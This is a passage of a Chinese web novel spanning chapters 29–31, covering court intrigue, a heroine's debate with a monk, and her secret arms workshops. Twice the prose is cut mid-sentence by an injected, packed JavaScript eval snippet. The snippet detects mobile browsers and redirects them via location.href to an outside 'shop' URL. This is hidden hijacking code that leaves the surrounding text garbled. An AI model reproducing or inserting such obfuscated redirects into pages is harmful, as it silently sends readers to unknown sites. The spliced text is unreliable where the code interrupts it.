李凡玉丝毫不惧,凛然道:“我从未输过。” 李凡玉今日回的早了些,恰好碰到他儿子李牧为在送客,几人看到他急忙行礼。 李牧为笑着给他介绍:“这是阳西镇一脉的李义康,如今补了太仆寺的缺,这是他女儿,李景云。” 李义康和李景云低着头,不敢看这位传闻中的首辅大人。 李凡玉不理杂事,李家自他发迹,寻上门的亲戚数不胜数,全是李牧为应付的。而他发现李家无一人能承他衣钵后,连家事都懒得管,简单打过招呼后便径直走了。 李牧为脸色瞬间转阴,盯着李景云走几步便露出异样的跛脚,脸沉得能滴出水,李义康哆哆嗦嗦的,冷汗流了好几轮。 直到回到家,书房门关上,李义康双目竖起,凶相毕露,高高扬起手,要往李景云脸上打去。 李景云费力抓住他的胳膊,讥讽道:“爹,我已经跛了一只脚,你还想毁了我半张脸吗?” 她蓄力把李义康一甩,李义康瞬间又扬起手,她把脸高高昂起,送到李义康手边,眼里全是兴奋。 “打啊,怎么不打,怕我没了这张脸,彻底嫁不了璋王吗?” 李义康恨恨地放下手,咬牙切齿,低声怒喝:“李景星!你最好识相点!” “爹,你又忘了。”她笑着摸了摸自己的脸,“我是李景云啊,死的那个才是李景星。” “畜生!” 李义康胸口剧烈起伏,粗声叱骂:“怎么会有你这样的畜生!” 李景云开心地抚掌,凑到李义康眼皮底下,笑得瘆人,“因为我是您生的呀。” “老畜生当然生的小畜生,难不成还能生小傻子吗?” 李义康猛地把人一推,“景云不是傻子!” 李景云跌倒在地,不在意地就地坐好,微微拧起眉,一脸苦恼相。 “可她就是傻子啊,那么大的火,不哭不闹,不喊不跑,烧的尸骨无存都是静悄悄的,不是傻子是什么?” “爹啊,我就不明白了,你杀娘的时候不是很利落吗?怎么那么多年还惦记着那个小傻子呢?” “你还敢说!”李义康愤怒地踹了她一脚,“别以为我不知道,你们把她绑起来了,她才没有跑,你和你娘一样的蛇蝎心肠!” 李景云粲然一笑,用力点点头:“是啊,所以你用同样的方法烧死了娘,我这蛇蝎心肠分明是跟您一样啊,咱俩才是亲的!” 她一只脚使不上力,废了老大的功夫才自己站起来。 “我的亲爹,这里不是阳西镇,您最好忘了您最最爱的小傻子,您死了不要紧,可别耽误我的青云路。” 她不再掩饰自己的跛脚,一瘸一拐地朝外走去。 “我李景云,要当璋王妃,太子妃,皇后,太后!” 她打开门,回头露出一个夸张的大笑,眼底却透着嗜血的残忍。 “您,自求多福。” 29. 阿弥陀佛 姜元序习惯提前做规划,许安宁有雄心壮志是好事,但不能脑袋一拍直接把人往军营一丢任其发展,跟老天爷赌运气这种事,她不会做。 打仗和打架是两回事,她花了些时间给许安宁做了一份专项训练计划,包括攻城守城训练、复杂地形作战、战场生存技能、阵法演练、战略部署…… 她叮嘱许安宁:“我会安排人教你适应行军打仗,你最多只有半年的时间,如果达不到我的考核标准,你就乖乖回来打理生意。” “我让千程跟你走一趟,到了宁远郡,其余事情让冯管事安排。没人能教你如何领兵,我只能给你找些兵书,剩下的,靠你自己了。” 许安宁手里捏着几张薄薄的纸,却仿若重逾千斤,她的一个念头变成了详实可行的计划,像过往的无数次一样,她只要勇敢地去做,剩下的姜元序都会解决。 她张手抱住姜元序,心中满是坚定。 “我会做好的。”她说。 时间紧迫,姜元序让十安去京城接替千程,算算时间,谢家已经向周家发难。 她本想等太子新政失败,再一举击溃宁远郡的官僚体系,用力挽狂澜的名声助自己入朝。可现在,她的重点转向周家军,就得尽快把周家的势力清扫干净。 目前大家的视线都聚焦在京城,她得做做工作,让他们注意到宁远郡,聪明人自然会另辟蹊径从宁远郡下手,踩周家一脚。 谢家这次的重点是谢青衍,其余势力各有心思,而太子和周家不会坐以待毙,让他们插手宁远郡。 几方混战正好可以浑水摸鱼,一旦宁远郡官员下台,位置出现空缺,只会让那些背后没有势力、靠科举入仕、真正做实事的官员补上。 同样寒门出身的李首辅,想必对此也会乐见其成。 入朝一事,她可以另找机会,退一步来说,安宁若是真能掌控周家军,她甚至可以直接坐实自己的公主身份,越过朝堂直接参与夺嫡。 又在中州耽搁了两日,该交待的都交待了,姜元序带着百凌和十个护卫往西北去,十安和许安宁一行人继续坐船北上。 正如姜元序推测的那样,朝堂之上各派系的斗争愈演愈烈。 “啪——” 东宫新换的茶具又摔了一个,侍从们跪了一地,头磕在地上,嘴里喊着“殿下息怒”。 太子元乾面无表情地端坐在首位,冷眼睨着底下的僚属。 “孤哪里像个太子,分明是只架在火上的羔羊,满朝文武恨不得将孤分而食之。” 众人低头不敢接话,铜矿一事刚平息,劫粮一案却是证据确凿,被人翻出来指责周家有谋逆之心,如今这把火更是烧到了太子身上。 “如今这局面,诸位认为该如何解?”太子沉声问。 幕僚:“恐怕还是得从谢家入手,殿下可还记得江州那位姑娘让方七传的话?” 太子鼻翼微翕,厉声道:“周家不惧谢家,孤难不成惧了谢青衍?!” 幕僚叹一口气:“那位姑娘有一句说的很对,新政成了,一切都好说。我们必须在明年春耕前将新政定下来,我们没有时间跟谢家耗下去。” 这事本就是周家不占理,放在平日倒是可以拉扯一番,如今这个节骨眼儿,真不好把人都得罪了。 太子的视线从众人脸上划过,“你们都觉得那位姑娘可信?这一系列的案件可都起源于她!更别说我们至今无法确定她和谢青衍的关系!” 几位僚属交睫示意,开始道出自己的见解。 “从周泰一事看,她确实是站在我们这边的,若不是她让周泰改了供词,铜矿案怕是还得扯皮。” “我们是知道铜矿一事背后有安王的手笔,但那些证据并不足以给安王定罪,那位姑娘当时一无所知,但她的做法放到现在仍是最有利于我们的。” “要知道那时周大人已经去世,她答应周大人的不过是抓到周泰。只能说,周大人确实用军粮把她绑到了我们船上。” 太子犹不放心:“谢青衍背靠谢家,又生的一副好皮囊,那位姑娘手段再狠厉,也不过是个不足二十的女子,当真能不为所动?” 幕僚:“她心里如何想,无关大局,至少她目前的行为都是偏向我们的。” “再说谢公子,得知自己心仪的姑娘险些嫁入东宫,又选择站到他对立的一方,但凡有点气性之人,都忍不了此等羞辱。” “如今他如疯狗一般追着殿下攀咬,未尝没有泄愤之意。正是因为两人没成,他才没有顾忌,否则看在那位姑娘的生意的面上,他也不该如此得罪殿下。” 东宫众僚属一番商议,最终决定退让一步,但退让绝不是就此偃旗息鼓,让东宫向谢家低头。 翌日,太子一党的声势不降反升,不仅将谢青衍看守不力一事大肆渲染,更是攻讦谢家结党营私,污蔑储君。 谢家不甘示弱,直言太子无视周家企图谋害钦差的事实,一味袒护自己外家,将朝堂置于私情之下,不堪为储君。 两方皆有不死不休之意,吵吵嚷嚷半月,太子自觉时机成熟,准备后退一步,彰显容人之量,户部上奏,宁远郡税收有异。 仿若冰块落入火中,水深火热的朝中各方顷刻间被点醒,他们扳不倒太子,扳不倒周家,还不能把宁远郡砸个窟窿吗? 太子徇私之意太过明显,谢家树大根深,且有理有据的情况下,尚且要避让周家,若他们有朝一日和周家意见相左,是不是要落得个抄家灭族的下场? 周家张狂的作态和太子明目张胆的偏袒,让太子一党和周家绑得更紧,却寒了其余朝臣的心。 众臣纷纷发力,宁远郡上上下下的官员被弹劾了个遍,不到三日,清查宁远郡的钦差浩浩荡荡离京。 东宫的摆件换了一批又一批,太子连面上的雍容尔雅都端不住了,表情狰狞,牙关发颤。 “他们怎么敢!镇国公尚在,竟敢动宁远郡!” 他万分后悔没有一开始就听姜元序的建议,用好处堵住谢青衍的嘴,不让他发难,以致于因小失大,让宁远郡成了众矢之的。 僚属们垂着头,唯唯诺诺不敢出声,与谢家周旋之计是他们共同商议决定,朝中党争向来如此,利益的交换都在暗处进行,面上绝不可能露怯。 周家此次虽不占理,但祸首周明坤已经伏诛,无论谢家给出的证据多么确凿,绝对动摇不了周家和太子的根基。 正因看清了这一点,他们才敢肆无忌惮在朝堂和人相争,若不是新政一事迫在眉睫,他们连背后的退让都不会有。 百密一疏,京城固若金汤却让人在宁远郡钻了空子。 他们这回是惹了众怒,户部只起了个头,其余朝臣是自发接力而上的,太快了,只三天,宁远郡一事便确定下来,说明陛下也对太子这段时间的举动有了微词。 此事必须尽快平息,否则还不知道要闹出多少乱子。 这边太子焦头烂额,尽力挽回宁远郡的损失,而那边挑起一切事端的姜元序同样不好过。 从中州开始,由水路转为陆路,姜元序正好要和赤兔磨合,便选择自己骑马赶路。 赤兔确实是百年难得一遇的神驹,爆发力和耐力均是一绝,完全不堕世人给予它的美名,可它能日行千里,姜元序不能。 偏偏它还只认姜元序一人,其他人靠近些都会被踢,于是一路上都是这样的场景—— 姜元序一骑绝尘跑在前面,百凌和护卫卯足劲追,装行李的马车坠在最后。 这样显眼的马,姜元序大摇大摆骑上官道,惹来的觊觎自然不会少,每次她在茶棚歇晌,总有人想出价买,更有人越过她直接上手摸。 赤兔精力旺盛,跑得不过瘾就朝这些人撒气,要不是姜元序眼疾手快把人拉开,这一路她得背不少人命官司。 这日,赤兔依旧把同行之人远远甩在身后,姜元序下马时两股战战,双手扶着腰,很想吐一口血。 赤兔晃晃脑袋,撇下她自顾自去溪边饮水,姜元序全身上下只有嘴皮子能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211526|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动利索。 “姜九昭!你这个马毫无纪律性,出来多少天了,还不知道等等同伴!” “前面到底有什么啊,值得你急成这样!” 在路边插一杆小旗做记号,方便后面的人找到,姜元序艰难地挪动腿,去寻赤兔。 溪边有另一行人正在修整,赤兔目中无人,大咧咧闯入其中,引得这些人啧啧称奇,纷纷放下手中事物,想上前一探究竟。 姜元序看见这一幕,连忙大喊:“姜九昭!” 众人诧异地回头,望向吼声的来处,姜九昭埋头喝水,置若罔闻,后蹄不自在地划拉几下。 姜元序跑上前和人解释,这马性子凶,喜欢踢人,陌生人靠近不得。 其中一人让其余人退下,姜元序道过谢便去牵马,但姜九昭是匹有脾气且没眼色的马,认准了这块地方,一步不愿挪。 姜元序拎着它的马耳朵,喋喋不休地数落,大概是听烦了,姜九昭坏心眼地把姜元序包住头发的纱巾咬下,一屁股把人推远。 后头那人看的有趣,遥遥地朝姜元序喊:“这马既然喜欢这处地方,姑娘便让它呆在那吧,我等不会上前惊了马。” 说完还让其余人都退开些,姜元序无法,只好再次跟人道谢。 约莫一炷香的功夫,原本阳光明媚的天渐渐被乌云笼罩,似有一场大雨,好在百凌他们也寻到这里,从马车里搬下帐篷,准备扎营躲雨。 姜元序让护卫们拿一些帐篷去问问另一行人需不需要,他们见姜元序一个单身女子带着一匹宝马,虽有好奇却没有上前询问,反倒远远地退至一旁,想必是心怀坦荡之人。 戚见山没多犹豫便收下这份好意,护卫们帮着支起帐篷,不一会儿,瓢泼的大雨倾泻而下,有一人却从帐篷中走出,独自坐在雨中闭眼念经。 戚见山顾不得许多,穿上蓑衣,戴上斗笠,在雨中撑开一把不大的油纸伞,为那人挡雨。 姜元序觉得这一幕相当离奇,撑伞的明显是那一行人的领头,衣着考究,行事有礼,而他伞下的僧人,袈裟破旧不堪,好多处破洞都没有补,而且明显短一截,脚上更是一双露出脚趾的草鞋。 她撑开一把巨大的伞,双手抱着如柱子般粗壮的伞柄,缓慢走到那两人身后,伞砰地一声落地,稳稳地立在那儿。 戚见山环视一圈这把仿佛遮天蔽日的巨伞,默默把自己的小伞收起,顿了顿,又把斗笠摘下。 姜元序蹲下,好奇地问:“大师为何非要淋雨?” 僧人闭着眼,缓缓说:“贫僧多淋一分雨,这世上的人便能少淋一分。” 姜元序笑了,说:“雨何曾有过感情,一视同仁地落下,大师非要淋雨,这世上不过是多了一个淋雨的人,大师救不了那些正在淋雨的人。” 僧人拨动念珠的手一顿,念了句“阿弥陀佛”,缓缓睁开眼睛。 那是怎样一双眼睛呢,姜元序形容不出来,明明近在眼前,却恍若远在天边,如破开混沌的第一缕晨光,又如世界泯灭的最后一缕霞光。 她收起轻慢的态度,肃整神情。 僧人:“姑娘觉得,如何才能救那些正在淋雨的人?” “多造伞啊。”姜元序毫不犹豫地说,“若是人人都有伞,自然不会有人淋雨。” 僧人略微点头,似是觉得有道理,又问:“那若是有人忘了带伞呢?” “那就把伞造的非常方便携带。”姜元序拍拍旁边的伞柄,“若是能把这样一把伞收起来,收成一个玉佩大小的样式,大家直接挂身上,就不怕忘了。” 僧人仔细看了看这把伞,摇摇头说:“做不到。” 姜元序笑说:“现在做不到,不代表以后做不到,你我做不到,不代表别人做不到,一切皆有可能。” “一切皆有可能……”僧人反复念着这几个字,忽地闭上双眼,面露痛苦。 “佛说众生皆苦,人说一切皆有可能,哈哈哈……” “渡众生的是人,不是佛。” 30. 她的底牌 僧人双手垂下,目视前方,那双悲天悯人的眼睛渐渐失去神采,仿佛他的灵魂在渐渐散去,整个人变得麻木空洞。 “大师觉得这世上是先有的人,还是先有的佛?” 僧人不语,姜元序继续道:“我想是先有的人,人生苦痛,无法排解,人需要佛,佛就此诞生。” “所以佛说众生皆苦,因为他本就是人世苦难的化身,他的存在就是在渡人。” 僧人愣愣地把头转向姜元序,喃喃自语:“最痛苦的竟是佛吗……” “佛怎么会痛苦呢?痛苦是人独有的情绪。”姜元序说。 “佛说众生皆苦,是阐述了自己看到的事实,而大师说众生皆苦,是感受到了世人的苦,痛苦的不是佛,是大师您啊。” 僧人的目光再次暗淡,周身的痛苦如实质般张开巨口,逐渐将他吞噬。 姜元序不知道他经历了什么,但这种痛苦,她感同身受——信仰崩塌,无能为力。 她曾经家庭幸福,事业有成,一睁眼来到这个陌生的朝代,退化成无法站立的婴儿,命运连挣扎的机会都不曾给她。 隔着几个时空的过去,面目全非的新生,旁人看她闪耀,无人解她孤寂。 “这样,我问大师一个问题。”姜元序拍拍手,“如果有人抓了你和另外一百个人,让你做选择,你选自己生,则另外一百人死,你选自己死,则另外一百人生,你会如何选?” 僧人一怔,拨动念珠,念了句佛,道:“若我死能换得一百人生,也算死得其所。” 姜元序笑笑不言,反而转头问一旁的人:“这位老爷,你会如何选?” 戚见山早就脱了蓑衣,盘腿坐下,聚精会神地听着这个年岁不大的小姑娘论道,看她问到自己,还有些猝不及防。 他拧眉思索片刻,抬眼悄悄地瞥了僧人一眼,道:“我与百人同为选项,想必我的价值高于那一百人,而那人的目的是为了杀死我,所以我会选自己生。” 两人神情肃穆,微微蹙眉,仍在斟酌自己的选择,利益和道德的抉择,如何选都是错的。 姜元序不做评判,道出自己的选择:“我会联合那一百人,杀死那个让我做选择的人。” 两人惊讶地看向姜元序,似是没想到还有这样的答案。 “你们想啊,能让人做这种泯灭人性的选择的人,能是什么好玩意儿?该死的明明是他。”她理所当然道。 戚见山点头赞同,颇感兴趣地问:“你要如何让那一百人听命于你?” 姜元序眉梢一扬,莞尔道:“选择权在我,听我的,他们还有一线生机。” 戚见山恍然大悟,一叶障目不外如是,对手看似给了选择,实际上目的一直是杀死他。 若他选了自己生,不仅要背负那一百人死去的道德压力,更要独自面对力量强于他的对手,最终结果恐怕依旧是死。 放手一搏才有一线生机,这种情况下,他能轻而易举收服一百人,若侥幸杀死对手,剩余的人还能成为他往后的中坚力量。 戚见山汗颜,混迹官场几十年,政治手腕竟不如一个小姑娘。 “那是有选择的情况。”姜元序见两人面色沉重,又问,“假如你们是那没有选择的、百人中的一个,希望对方做什么样的选择?” 戚见山思绪一顿,竟有些不知所措,身旁是明心见性的大师,另一边是神思朗澈的陌生姑娘,他的行径显得相当卑劣。 他叹声道:“希望对方如大师般无私,牺牲自己救我们。” 或者如姑娘般给他们找到一条生路,左右不能是如他这般自私自利之人。 僧人摇头,“想从恶人手中逃脱,牺牲一人恐是不够的,如姑娘般团结众人抵抗,才是正解。” 两人一同看向姜元序,希望从她口中听到与众不同的答案。 姜元序的视线定格在僧人那双古井无波的眼睛,“大师不觉得我的选择很伪善吗?” “我只是动了动嘴皮子,真正做抵抗的是那一百人。” “抵抗失败而死,和直接被杀死,于他们而言并无区别,但于我而言,我成功把杀死一百人的道德压力转嫁出去,无人能够指责我。” 僧人的瞳孔骤然紧缩,手指蜷曲抓紧念珠,隐隐能听到并不平稳的呼吸声。 姜元序又说:“况且,能联合的前提是,一百人中多是如大师般善良之人,否则,同是放手一搏,他们何不直接杀死我呢?杀我显然比杀对手容易得多。” 僧人面白如水。 “这……” 戚见山的视线小心翼翼的,来回在僧人脸上扫视,屏声敛息,不敢多言。 “你们看,情况完全颠倒过来了,事实上,选择权一直在那一百人手中。” “大师选择牺牲自己,那一百人感受到善意;这位老爷选择牺牲他人,那一百人感受到恶意;我放弃选择,让他们自己选,是让他们权衡利弊,也是在赌善意多于恶意。” “长远来看,大师的选择才是正解,人会犯错,善良无错。” 一场雨来得急,去的也急,乌云散开,澄空万里。 赤兔甩着蹄子啪嗒啪嗒过来寻姜元序,低下头拱来拱去,咬她的袖子。 姜元序无奈起身,从袖中摸出一颗糖,手指捏着糖来回挥舞,逗够了才往上一抛,赤兔微微扬蹄,张嘴接住,吧唧几下,又拿头蹭了蹭姜元序。 另外两人也已起身,待姜元序回过身,僧人双手合十,郑重一揖。 “姑娘是大善之人,贫僧多谢姑娘开解,然身无长物,惟愿姑娘诸事顺遂。” 姜元序连忙还礼:“大师客气了,也希望您能一路逢善缘。” 戚见山拱手,真心实意道:“姑娘也给老夫上了一课,老夫惭愧不已。” 若这位姑娘是他的政敌,他哪里有选择的机会,横竖都是死。 姜元序同样拱手还礼,眉眼一弯,笑问:“您觉得我是善人吗?” “自然是的。” 戚见山不懂她为何有这一问,这不是很明显的事吗? 姜元序嗤嗤笑了几声,迎着两人不解的目光,自顾自地摸了摸赤兔的头,眼里闪着狡黠的光。 “二位莫不是忘了,那个让你们做选择的恶人,不就是我吗?” 戚见山面色一僵,僧人呼吸一窒。 “哈哈哈哈……” 姜元序翻身上马,朝他们挥挥手,“二位,有缘再见啊。” 火红的身影急速掠过,戚见山摇头失笑:“灯下黑啊,灯下黑,老夫竟被玩弄于鼓掌之间。” 僧人目送姜元序远去,眼里也带了笑意,他对戚见山说:“戚大人,因贫僧的缘故,你已耽误了不少时日,今日便启程回京吧。” 戚见山察言观色,思忖片刻,问:“国师之后有何打算?” 僧人指尖缓缓拨动念珠,目光望向天空,盯着虚空中的一点,微风吹动破旧的袈裟,禅意四散,声音空灵,如远古的钟声传来。 “贫僧离开三年之久,是时候回去了。” 他回身朝戚见山一礼,道一句“告辞”,便离开了。 戚见山立在原地,过了一会儿,侍从凑上前,询问:“我们要跟上去吗?” 他回过神,摇头道:“不必。” 心结已然解开,国师武功高强,不必忧心他的安危。 姜元序一路和赤兔斗智斗勇,涉川越涧,翻山越岭,总算到了此行的第一个目的地——西北兵工厂。 兆雪翘首以盼,终于把人盼来了,姜元序去工厂转了一圈,一切井井有条。 “东南那边,秘密定了一批箭矢,还有复合弓。”兆雪拿出订单给姜元序看。 长公主妙龄之年嫁给年过不惑的东南王做继室,是朝廷和东南的政治博弈,如今东南王愈发年迈,长公主想要越过原配的子女彻底掌权,怕是不容易。 姜元序正在试新研发的复合弩,杀伤力比弓强,隐蔽性比刀剑强,简直是宫变的第一利器。 闻言嘱咐道:“问问那边要不要弩,可以运一批半成品过去,进了东南地界再组装。还有新式的甲,拆一拆,也运一批过去。” 甲胄和弩受朝廷管制,生产需要特批,每一件的去向都要报备,但长公主是自己人,朝廷想收回东南很久了,自会大开方便之门。 东南是别人的地盘,不能大摇大摆运武器,但上有政策下有对策,两方共同努力,总有办法的。 “送一份武器清单过去,让那边有什么需要尽管提。” 长公主长久在东南,对自家的武器大概不甚了解,冶铁的技术革新好几轮,刀剑都不是十年前的样了。 她想到什么,轻笑一声道:“给我做的那些首饰,给长公主送一些,让她带着防身。” “顺便帮我带句话,就说……女子帮女子,天经地义。” 兆雪笑着应是,“我先前已经吩咐下去,长公主那边有需要的,可以便宜行事。姑娘放心,长公主是个有本事的,东南出不了岔子。” 姜元序跟兆雪了解一些东南的情况,又看了最近一年的订单情况,从武器的消耗也能看出各处的异动。 她靠着韩家的关系,拿下军械的生产资格,原本是只供西北军的,但冶铁技术革新,武器迭代,生产效率提升,成本下降,工厂规模早已不是同日而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211527|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。 为了避免麻烦,她把所有冶炼技术、武器图纸、甚至生产线设置都和朝廷共享,其他工厂也能生产,但她的价格最低,有时朝廷急用的单子也会直接交给她。 “安宁要去周家军,你找个理由先生产一批军械备着,大型的攻城武器也备几个。”姜元序说。 “当真?”兆雪一惊,而后激动地拍着胸膛保证,“我一定安排妥当。” 姑娘的摊子铺的太大,她有时候想想都害怕,虽说用的都是别人的身份,但朝廷真要清算,哪会跟你讲道理。 他们有钱有粮有武器,唯一缺的就是人,要是许姑娘能拿下周家军,还有什么好怕的?姑娘想怎么折腾都行,朝廷容不下姑娘,他们就建一个新朝! 入夜,兆雪带着姜元序和百凌顺着密道离开,山路盘桓,千回百折,行走约一个时辰,里头是一个小型的军事基地。 姜元序抚着红衣大炮的炮筒,满意地点点头,冶铁技术不到家,铁制的炮身太容易炸膛,五尊大炮都用青铜制作,造价高,工艺复杂,生产时间也久。 旁边还有震天雷、地雷、火铳,东西不多,但至少都研制出来了,火器事关重大,她不准备现在拿出去,总要给自己留些底牌。 天亮之前,三人原路返回,没有惊动任何人。天亮之后,姜元序带人离开,往雁门郡去。 西北军军营,韩其今日停了训练,一早在营口等着,绕着栅栏踱来踱去,沙地走出一个明显的圈。 急促的马蹄声传来,举目望去,一簇火焰由远及近,他瞬间反应过来,是赤兔。 姜元序控制赤兔慢慢减速,老远便挥起手,“老韩——” 韩其崩着脸,几次压下上扬的嘴角,眼里笑意深厚,指挥人打开营门。 姜元序下马配合士兵查验身份,一边和韩其打招呼:“老韩,好久不见啊,最近胃口好吗,睡得香吗,明显见老啊,不行的话回京城吧,我给你养老。” 守门的士兵撇过头偷笑,韩其没好气道:“胡说八道!怎么就你一个人,老大他们呢,没碰上?” “后头呢,赤兔跑太快,把他们甩开了。” 姜元序接过文书,牵着赤兔进来,韩其抬手拍了拍马背,忍不住赞道:“还真被你驯成了,有点本事!” “我的本事可不止这点。”姜元序倚着赤兔,挑衅一笑,“老韩,我这次是来挑战你的。” 韩其哼笑出声,黑脸都崩不住了,“个子不高,心比天高。” 姜元序底气十足,下巴一抬,傲然道:“二哥前段时间在江州,我和他也就三七开,他三,我七。” 韩其挑眉,心中诧异,姜元序自小习武他知道,没想到已经超过老二了。 “老二在我手底下没赢过。” “拳脚间见高低。”姜元序不争辩,悠悠道。 说话间,去城门口接姜元序的韩家兄弟策马回来,围着赤兔好一顿稀罕,他们的马在军中也是百里挑一,跟在赤兔后面却连灰尘都吃不到。 军中设了宴,许多人都是见过姜元序的,一波接一波的人来跟她话家常,宴席一直持续到晚上,热闹的像过年。 翌日,姜元序跟着韩家人早训,活动开身体就急着找韩其过招。 韩其大方道:“让你一只手。” “行啊,输了别怪我欺负你!” 姜元序转转手腕,骤然提拳攻去,韩其一开始只做躲避,还有闲心点评姜元序的招式,很快被她刁钻的手法打乱节奏,好几次差点被制住。 围观的士兵纷纷为姜元序叫好,难得有人能和将军打得有来有回的,关键对方只是一个十八岁的小姑娘! 姜元序全神贯注,韩其又高又壮,硬碰硬肯定不行,所以她多用柔术,少用拳法,但韩其力气太大,她的锁技无法成型,始终差一招。 韩其的满意之情溢于言表,若是姜元序的力气大些,他真得输,差不多摸清了姜元序的招数,趁其不备,韩其一招擒拿,反手压制住姜元序。 姜元序脱力,像面条一样顺着韩其的力道站起来,喘着粗气抱拳,“姜还是老的辣,佩服!” 失之毫厘差以千里,年少成名的猛将实力恐怖如斯,韩其明显没用全力,还让了一只手,幸亏是比试,真要是对敌,姜元序过不了十招就得凉。 “你这个年纪,很不错了,老二输给你不冤。” 韩其拍拍她的肩膀,十分欣慰,真是难得一见的好苗子,有这样身手的人不少,但配上一副聪明脑瓜的人就罕见了。 姜元序在军营住下来,她有心偷师,韩其也乐意教,姜元序一点就通,比教儿子容易多了,他恨不得倾囊相授。 31. 胡思乱想 九月的京城,告别暑热迎来一缕凉意,地里的萝卜白菜正是收成的时候,新上任的刑部侍郎挽着裤脚翻地,这时候播种,入冬前还能再收一茬。 姜元序喜欢绿叶菜,谢青衍今年特意多开了一块地,种的满满当当的。 谢维摘了一筐嫩菠菜,准备晚上吃,他提着篮子坐到石凳上,拿起水壶喝水,瞧着一旁额上沁汗的谢青衍,禁不住笑了。 “这有了心上人是不一样,种地都比往常卖力。” 谢青衍这段时间被调笑惯了,闻言头也不抬,翻地的节奏丝毫不乱。 谢维也不在意他有没有回话,继续道:“听你娘说,你早上起来还要练半个时辰的武,你刚升官,衙里也忙,回来要种地,晚膳后又要练字写策论,研读律法,点灯熬油的,身子受得住吗?” “上进是好事,你才弱冠,还有很多时间可以慢慢来,哪至于刻苦到如此地步。” 他之前还嫌谢青衍有些懒散,催一催动一动的,大抵是随了王家的根儿了,不成想一朝勤快起来,就没日没夜地熬。 谢青衍手下动作不停,略提高了些声音:“这京城,论文韬武略,家世财富,身量长相,我样样不是顶尖的,可不得从旁的找找补。” 谢维一口茶呛住,接连咳嗽,谢青衍丢下锄头,几个跨步过来给他拍背,仔细瞧着他的脸色,看没有其他异样,只是普通的呛了一下,才没有喊人过来。 谢维十分熨帖,多好的孩子啊,高大挺拔又孝顺,怎么还自卑起来了。 “你这个比法,谁能胜出?二十岁的侍郎,你可是独一份的,我在你这个年纪,也不过五品。” “我这个侍郎怎么来的,您又不是不知道,我哪好意思拿这个说嘴。”谢青衍见他没事了,给他倒好水,继续去翻地。 “你管怎么来的,左右是当上了。”谢维哼哼。 太子急于平息周家的事,李首辅要提拔寒门进士,三方博弈,最后便宜了谢青衍,连升三级成了侍郎。 他感慨道:“还是年轻人脑子灵活,胆子也大,谁能想到这事还能从宁远郡入手,杜衡之前瞧着不着调,这回看倒是比你强点。” 周家把持宁远郡太久,朝中默认宁远郡就是周家军的一部分,京里斗都再厉害,也没人敢朝周家军下手。 这个时机正正好,周家捅了篓子,太子犯了众怒,朝堂上上下下都憋着一股气,眼见着这股气大家伙儿只能自己吞下去,宁远郡撞上来了。 周家惹了那么大的事,只死一个周明坤,未免太过便宜,再搭上一个宁远郡,倒是能息众怒。 谢青衍埋头锄地不反驳,宁远郡的内情,祖父不知道,他却是清楚的,分明是姜元序的手笔。 半月前,十安到京城,没两日杜衡起头查宁远郡的税收,这才有了之后的事。 杜衡和东兴大街的千掌柜关系匪浅,而千掌柜是姜元序的人,受了谁的吩咐可想而知。 他特地找了十安一趟,想着姜元序是不是要安排人到宁远郡,他也能帮帮忙,结果十安说他们的任务已经完成,接下来的事情顺其自然即可。 顺其自然的结果就是,一批有才之士得以晋升,他被破格提拔,朝臣神清气爽,损的只有周家和太子。 这个做法就非常的姜元序,和周明坤一事如出一辙,她随手丢出一个火星子,众人自发来添柴,火焰越来越高,烧了挂在高处的宫灯。 那盏高处的宫灯就是宁远郡,姜元序自始至终的目标都是它,她一个人对付不了周家这个庞然大物,所以用周明坤引来谢家。 谢青衍愿意倾谢家之力帮她,但付出的代价不会小,他心甘情愿,做好赴汤蹈火的准备,走过去发现是金山银山。 时至今日,他依旧不想承认,却无法否认,他在姜元序眼里并不特别,无论此次去江州的是谁,今日的结果不会改变,他的喜欢,才是这条既定路上的意外。 他想到第一日见姜元序时,她说以她的财力,娶七八个名门公子也不为过,他原以为是句俏皮话,现在想想未必不是出自真心。 所以就算看破他的喜欢,也能泰然处之,不拒绝是因为无所谓,也可能是觉得以他的长相脾性,可以成为七八个之一。 谢青衍翻过地,拿起一旁的蔬菜种子播种,直到天色渐黑,快看不清路才收拾东西回去。 书房的油灯亮到三更,他强迫自己多做些事,少胡思乱想。 翌日刚好休沐,谢青衍早起例行习武,用完早膳便去忙田里的活儿,有一亩冬小麦要种。 午后,他和谢维说了一声,便要出门。 谢维叮嘱他:“早些回来,你戚世伯调回京城,一会儿要过来。” 谢青衍应下,带上云齐云慎,往今越银行去,银行的管事提前递了信,说他们主事开放资产打理的名额,凡是存银够的,可以带上存银凭证和产业明细约期。 京中人人皆知,今越银行和今越投资集团是一家。 四年前,翰林院检讨苏望自请外放,苏望乃寒门进士,朝中无人疏通,最终外放至岭南云州。离京前,苏望找上今越投资集团,说服主事投资云州。 今越带着大笔银钱,为云州搭桥铺路,兴修水利,打通一条条商路,扶起一桩桩产业,云州从不毛之地成为膏腴之乡,仅用了三年。 他外祖父是封疆大吏,岭南在其辖区,当初参与投资云州的世家之一便是王家,王家产业众多,通过今越的牵线和重组,扩了不止两倍。 今越不接受银钱投资,京城各家把今越的门槛踏破了,都没能见到主导投资云州的主事。今越的管事很多,主事仅一位,从未露面。 他的现银都存在今越银行,由王家介绍的一位管事打理,每年有一到两成利,几年下来,倒是一笔不菲的积蓄。 